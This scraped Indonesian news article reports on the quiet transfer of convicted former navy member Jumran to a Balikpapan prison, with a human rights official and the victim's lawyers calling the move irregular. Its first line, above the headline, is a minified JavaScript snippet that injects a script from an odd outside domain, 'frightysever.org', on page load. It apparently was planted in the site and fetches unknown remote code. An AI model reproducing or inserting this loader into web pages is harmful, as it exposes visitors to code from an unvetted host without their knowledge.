(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemindahan Diam-diam Terpidana Jumran Diduga Ada Kejanggalan


KANALKALIMANTAN.COM, BANJARBARU – Proses akhir pemidanaan mantan prajurit TNI AL, Jumran dalam kasus pembunuhan berencana Juwita di Banjarbaru menuai tanda tanya berbagai pihak.

Usai serangkaian proses hukum dijalani Jumran secara transparan oleh aparat militer, ternyata di ujung putusan berkekuatan hukum tetap pihak keluarga maupun kuasa hukum tidak mendapatkan kabar tentang pemindahan terpidana ke Lapas Kelas IIA Balikpapan.

Jumran sudah diputus pidana seumur hidup dan Pemberhentian Tidak Dengan Hormat (PTDH) dari dinas militer maka dirinya menjadi warga sipil.

Dalam diskusi bersama tim kuasa hukum, secara pribadi salah satu petugas dari Kantor Wilayah Kementerian Hak Asasi Manusia (Kanwil Kementerian HAM) Kalimantan Selatan (Kalsel) menilai ada kejanggalan yang terjadi, karena biasanya didapati kewenangan memindahkan naripidana tersebut berada di tangan Lapas atau Rutan yang menjadi tempat pidana kejadian.

Baca juga: Polri Luncurkan Robot Polisi, Warganet: Fungsinya Apa Ya Pak?

“Dan pemindahan narapidana itu pun alurnya cukup memakan waktu, jangankan memindah antar provinsi, antar kabupaten dan kota pun memerlukan waktu,” ujar Arya, Pelaksana Bidang Pelayanan dan Kepatuhan HAM dari Kanwil Kementerian HAM Kalsel saat sesi diskusi menilai pemindahan Jumran secara pribadi.

Kecuali sambung dia, kasus yang dialami terpidana urgent, dimana narapidana melakukan pelanggaran, berkelahi atau membuat gaduh.

Tim kuasa hukum Juwita dalam diskusi, Senin(30/6/2025) malam, di kediaman almarhumah Juwita bersama Kanwil Kementerian HAM. Foto: wanda

“Bahkan pemindahan antar provinsi setahu saya yang mengeluarkan putusan itu dari Dirjen Pemasyarakatan, eselon satunya itu,” sambung dia.

Baca juga: Narapidana Jumran Diam-diam Dipindah ke Lapas Balikapapan

Atas keterangan berbagai pihak militer yang mengungkap alasan Jumran pindah lapas karena permintaan dari Danlanal Balikpapan, dimana Danlanal mengaku pemindahan atas permintaan Jumran pribadi kemudian dianggap adalah kekaburan informasi.

“Saya pun kaget dimana saat kuasa hukum yang meminta klarifikasi ke Oditurat Militer, katanya pemindahan narapidana atas permintaan Danlanal Balikpapan, bahkan Danlanal saat dikonfirmasi sempat mengaku tidak tahu dan akhirnya membenarkan pemindahan atas permintaan Jumran pribadi, seperti ada kekaburan informasi,” ungkapnya.

Dirinya menilai ketika kejanggalan ini dibiarkan maka akan berlanjut bahkan ditiru oleh kasus lain ke depannya.

Oleh sebab itu, dalam tugas dan fungsi di Kementerian HAM, Arya mendorong keluarga, tim kuasa hukum maupun aliansi lainnya untuk bisa mengambil tindakan seperti melaporkan ke Ombudsman.

Baca juga: 21 Program Percepatan 100 Hari Kerja Wali Kota Lisa Halaby

“Kembali kami hanya bisa mendorong berdasarkan peraturan perundang-undangan, dimana tugas dan fungsi kami secara umum adalah melakukan dorongan kepada kementerian, lembaga atau instansi pemerintah daerah hingga pemerintah pusat untuk memenuhi hak-hak bagi masyarakat,” tuntasnya.

Dirinya mendorong untuk melakukan upaya atau tindakahan hukum dan menegaskan akan selalu mengawal hak-haknya, sesuai dengan aturan perundang-undangan.

Hal senada juga diutarakan kuasa hukum Dr Muhammad Pazri dalam diskusi pada Senin (30/6/2025) malam. Dirinya bersama keluarga dan tim akan melakukan langkah mengawal ke kasus ini ke tingkat pusat untuk mengajukan laporan keberatan dan meminta untuk narapidana dapat dikembalikan di mana lokus dan tempus kejadian.

“Ke depan kita meminta tetap melakukan penelurusan ulang terhadap terduga pelaku lain yang bisa dilacak melalui handphone milik narapidana yang harus dibuka melalui cyntific crime investigasi, GPS, CCTV, sampai tes DNA yang tidak identik dengan terpidana Jumran,” ungkap Dr Muhammad Pazri.

Baca juga: Perkuat Sinergi Penegakan Hukum dan Pelayanan Publik, Pemkab HSU – Kejari Teken Kesepakatan Bersama

“Sampai dengan usulan Kanwil Kementerian HAM Kalsel tadi meminta kita untuk mendorong rujukan kasus ini kepada komisi terkait khususnya di Komisi 13 DPR RI, juga akan kami tindaklanjuti sampai dengan mengajukan ke Ombudsman RI,” tutup Pazri. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

3 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

5 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

7 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

15 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

16 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

17 jam ago

This website uses cookies.